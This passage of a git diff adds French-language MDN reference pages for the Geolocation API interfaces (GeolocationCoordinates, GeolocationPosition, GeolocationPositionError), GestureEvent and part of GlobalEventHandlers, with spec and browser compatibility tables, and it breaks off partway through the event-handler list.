+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("navigator.geolocation")}}</li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">L'API Geolocation sur w3.org</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Qui a déplacé ma géolocalisation ? sur le blog Hacks</a></li>
+</ul>
diff --git a/files/fr/web/api/geolocationcoordinates/index.html b/files/fr/web/api/geolocationcoordinates/index.html
new file mode 100644
index 0000000000..fb3143479f
--- /dev/null
+++ b/files/fr/web/api/geolocationcoordinates/index.html
@@ -0,0 +1,140 @@
+---
+title: Coordinates
+slug: Web/API/GeolocationCoordinates
+translation_of: Web/API/GeolocationCoordinates
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<div>L'interface <strong><code>Coordinates</code></strong> représente la position et l'altitude du périphérique sur Terre, ainsi que la précision avec lesquels ces propriétés sont calculées.</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>Coordinates</code> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("Coordinates.latitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la latitude en degrés décimaux.</dd>
+ <dt>{{domxref("Coordinates.longitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la longitude en degrés décimaux.</dd>
+ <dt>{{domxref("Coordinates.altitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant l'altitude en mètres, relatif au niveau de la mer. Cette valeur peut être <code>null</code> si l'implémentation ne peut pas fournir de données.</dd>
+ <dt>{{domxref("Coordinates.accuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la précision des propriétés <code>latitude</code> et <code>longitude</code> , exprimé en mètres.</dd>
+ <dt>{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la précision de l'<code>altitude</code> . Cette valeur peut être <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.heading")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la direction dans laquelle le périphérique se déplace. Cette valeur, spécifiée en degrés, indique la distance à laquelle le périphérique se trouve par rapport au Vrai Nord. <code>0</code> degrés représente le Vrai Nord, la direction est déterminé suivant le sens horaire des aiguilles d'une montre (ce qui veut dire que l'Est se trouve à <code>90</code> degrés et l'Ouest à <code>270</code> degrés). Si <code>speed</code> est à <code>0</code>, <code>heading</code> est alors <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>. Si le périphérique est incapable de fournir des informations relatives à l'endroit où il se déplace (<code>heading</code>), cette valeur est alors <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.speed")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un <code>double</code> représentant la vélocité du périphérique en mètres par seconde. Cette valeur peut être <code>null</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><em><em>L'interface </em><code>Coordinates</code> <em>n'implémente et n'hérite d'aucune méthode.</em></em></em></p>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAPI/Using_geolocation" title="/fr/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/fr/web/api/geolocationposition/index.html b/files/fr/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..a0fae10cc7
--- /dev/null
+++ b/files/fr/web/api/geolocationposition/index.html
@@ -0,0 +1,62 @@
+---
+title: GeolocationPosition
+slug: Web/API/GeolocationPosition
+tags:
+  - API
+  - Geolocation API
+  - GeolocationPosition
+  - Interface
+  - Secure context
+  - TopicStub
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>L'interface <strong><code>GeolocationPosition</code></strong> représente la position de l'appareil concerné à un instant donné. La position, représentée par un objet {{domxref("GeolocationCoordinates")}}, comprend la position 2D de l'appareil, sur un sphéroïde représentant la Terre, mais aussi son altitude et sa vitesse.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>GeolocationPosition</code> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("GeolocationPosition.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un objet {{domxref("GeolocationCoordinates")}} définissant l'emplacement actuel.</dd>
+ <dt>{{domxref("GeolocationPosition.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Renvoie un {{domxref("DOMTimeStamp")}} représentant l'heure à laquelle l'emplacement a été récupéré.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><em>L'interface </em><code>GeolocationPosition</code><em> n'implémente ni n'hérite d'aucune méthode.</em></em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_interface', 'GeolocationPosition')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Spécification initale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.GeolocationPosition")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation_API/Using">Utilisation de l'API de Géolocalisation</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+</ul>
diff --git a/files/fr/web/api/geolocationposition/timestamp/index.html b/files/fr/web/api/geolocationposition/timestamp/index.html
new file mode 100644
index 0000000000..460fb29213
--- /dev/null
+++ b/files/fr/web/api/geolocationposition/timestamp/index.html
@@ -0,0 +1,49 @@
+---
+title: GeolocationPosition.timestamp
+slug: Web/API/GeolocationPosition/timestamp
+translation_of: Web/API/GeolocationPosition/timestamp
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>La propriété en lecture seule <code><strong>GeolocationPosition.timestamp</strong></code> retourne un objet {{domxref("DOMTimeStamp")}} représentant la date et l'heure de la création de l'objet {{domxref("GeolocationPosition")}} auquel il appartient. La précision est de l'ordre de la milliseconde.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var timestamp = geolocationPositionInstance.timestamp
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("DOMTimeStamp")}}.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.GeolocationPosition.timestamp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Geolocation_API/Using">Utiliser l'API de Geolocation</a></li>
+ <li>{{domxref("GeolocationPosition")}}</li>
+</ul>
diff --git a/files/fr/web/api/geolocationpositionerror/index.html b/files/fr/web/api/geolocationpositionerror/index.html
new file mode 100644
index 0000000000..541799629c
--- /dev/null
+++ b/files/fr/web/api/geolocationpositionerror/index.html
@@ -0,0 +1,80 @@
+---
+title: GeolocationPositionError
+slug: Web/API/GeolocationPositionError
+translation_of: Web/API/GeolocationPositionError
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>L'interface <strong><code>GeolocationPositionError</code></strong> représente la raison de l'erreur apparue lorsque l'on utilise la géolocalisation de l'appareil.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>GeolocationPositionError</code> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("GeolocationPositionError.code")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Retourne un <code>unsigned short</code> représentant un code d'erreur. Les valeurs possibles sont:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Valeur</th>
+    <th scope="col"><span class="tlid-translation translation" lang="fr"><span title="">Constante associée</span></span></th>
+    <th scope="col">Description</th>
+   </tr>
+   <tr>
+    <td><code>1</code></td>
+    <td><code>PERMISSION_DENIED</code></td>
+    <td>L’acquisition de la position échoue car la page n'a pas l'autorisation de le faire.</td>
+   </tr>
+   <tr>
+    <td><code>2</code></td>
+    <td><code>POSITION_UNAVAILABLE</code></td>
+    <td>L’acquisition de la localisation échoue car au moins une source donnant la position a retourné une erreur interne.</td>
+   </tr>
+   <tr>
+    <td><code>3</code></td>
+    <td><code>TIMEOUT</code></td>
+    <td>Le temps alloué pour obtenir la position défini par {{domxref("PositionOptions.timeout")}} est écoulé avant que l'information soit obtenu.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("GeolocationPositionError.message")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} compréhensible par un humain décrivant les détails de l'erreur. Les spécifications indiquent que cela sert au débogage et ne doit pas être directement affiché à l'utilisateur.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><em>L'interface </em><code>GeolocationPositionError</code><em> n'implémente et n'hérite d'aucune méthode.</em></em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_error_interface', 'GeolocationPositionError')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.GeolocationPositionError")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Geolocation_API/Using">Utiliser l'API de géolocalisation</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+</ul>
diff --git a/files/fr/web/api/gestureevent/index.html b/files/fr/web/api/gestureevent/index.html
new file mode 100644
index 0000000000..43540e9826
--- /dev/null
+++ b/files/fr/web/api/gestureevent/index.html
@@ -0,0 +1,120 @@
+---
+title: GestureEvent
+slug: Web/API/GestureEvent
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Interface
+translation_of: Web/API/GestureEvent
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p>{{Non-standard_header()}}</p>
+
+<p>L'interface propriétaire <code><strong>GestureEvent</strong></code> propre à WebKitdonne des informations sur les gestes multi-touches. Les événements utilisant cette interface incluent {{event("gesturestart")}}, {{event("gesturechange")}} et {{event("gestureend")}}.</p>
+
+<p><code>GestureEvent</code> dérive de {{domxref("UIEvent")}} qui elle-même dérive de {{domxref("Event")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("GestureEvent.GestureEvent", "GestureEvent()")}}</dt>
+ <dd>Crée un nouvel objet <code>GestureEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des propriétés de ses parents {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("GestureEvent.rotation")}} {{readonlyinline}}</dt>
+ <dd>Changement de rotation (en degrés) depuis le début de l'événement. Les valeurs positives indiquent une rotation dans le sens des aiguilles d'une montre ; les valeurs négatives indiquent une rotation dans le sens inverse des aiguilles d'une montre. Valeur initiale : <code>0.0</code></dd>
+ <dt>{{domxref("GestureEvent.scale")}} {{readonlyinline}}</dt>
+ <dd>Distance entre deux chiffres depuis le début de l'événement. Exprimé en tant que multiple à virgule flottante de la distance initiale entre les chiffres au début du geste. Les valeurs inférieures à 1,0 indiquent une poussée vers l'intérieur (zoom arrière). Les valeurs supérieures à 1.0 indiquent un relachement vers l'extérieur (zoom avant). Valeur initiale: <code>1.0</code></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite aussi des méthodes de ses parents {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("GestureEvent.initGestureEvent()")}}</dt>
+ <dd>Initialise la valeur d'un <code>GestureEvent</code>. Si l'évènement a déjà été distribué, cette méthode ne fait rien.</dd>
+</dl>
+
+<h2 id="Types_d'événement_gestuel">Types d'événement gestuel</h2>
+
+<ul>
+ <li>{{event("gesturestart")}}</li>
+ <li>{{event("gesturechange")}}</li>
+ <li>{{event("gestureend")}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Ne fait partie d'aucune spécification.</em> Apple a une<a href="https://developer.apple.com/library/iad/documentation/UserExperience/Reference/GestureEventClassReference/index.html"> description dans la bibliothèque Safari Developer</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatSafari(9.1) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>2.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("MSGestureEvent")}}</li>
+ <li>{{event("MSGestureStart")}}</li>
+ <li>{{event("MSGestureEnd")}}</li>
+ <li>{{event("MSGestureTap")}}</li>
+ <li>{{event("MSGestureHold")}}</li>
+ <li>{{event("MSGestureChange")}}</li>
+ <li>{{event("MSInertiaStart")}}</li>
+</ul>
diff --git a/files/fr/web/api/globaleventhandlers/index.html b/files/fr/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..4e6c027469
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/index.html
@@ -0,0 +1,703 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - évènements
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>L'interface <strong><code>GlobalEventHandlers</code></strong> décrit les gestionnaires d'évènements usuels de nombreuses interfaces comme {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} ou {{domxref("WorkerGlobalScope")}} pour les Web Workers. Chacune de ces interfaces peut implémenter plus de gestionnaires d'évènements.</p>
+
+<p><code>GlobalEventHandlers</code> est une interface brute et aucun objet de ce type ne peut être créé.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Les propriétés des évènements, de la forme <code>onXYZ</code>, sont définies sur {{domxref("GlobalEventHandlers")}} et implémentées par {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}} pour les Web Workers.</p>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event ("abort")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("animationcancel")}} est envoyé, indiquant que l'exécution de l'<a href="https://developer.mozilla.org/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> a été abandonnée.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("animationend")}} est envoyé, indiquant que l'exécution de l'<a href="https://developer.mozilla.org/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> a été abandonnée.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("animationiteration")}} est envoyé , indiquant qu'une <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> a commencé à jouer une nouvelle itération de la séquence d'animation.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd>un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("animationstart")}} est envoyé , indiquant qu'une <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> a commencé.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsqu'un évènement {{event("auxclick")}} est envoyé , indiquant qu'un bouton non primaire a été enfoncé sur le périphérique d'entrée (par exemple, un bouton du milieu de la souris).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("blur")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>est un {{domxref("OnErrorEventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("error")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'évènement {{event("focus")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("cancel")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("canplay")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("canplaythrough")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("change")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("click")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("close")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("contextmenu")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("cuechange")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dblclick")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("drag")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragend")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragenter")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragexit")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragleave")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragover")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("dragstart")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("drop")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("durationchange")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("emptied")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsqu'un événement {{event("ended")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque le type d'événement {{event("gotpointercapture")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("input")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("invalid")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("keydown")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("keypress")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("keyup")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("load")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("loadeddata")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("loadedmetadata")}} est déclenché.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("loadend")}} est déclenché (lorsque la progression s'est arrêtée sur le chargement d'une ressource).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'événement {{event("loadstart")}} est déclenché.</dd>
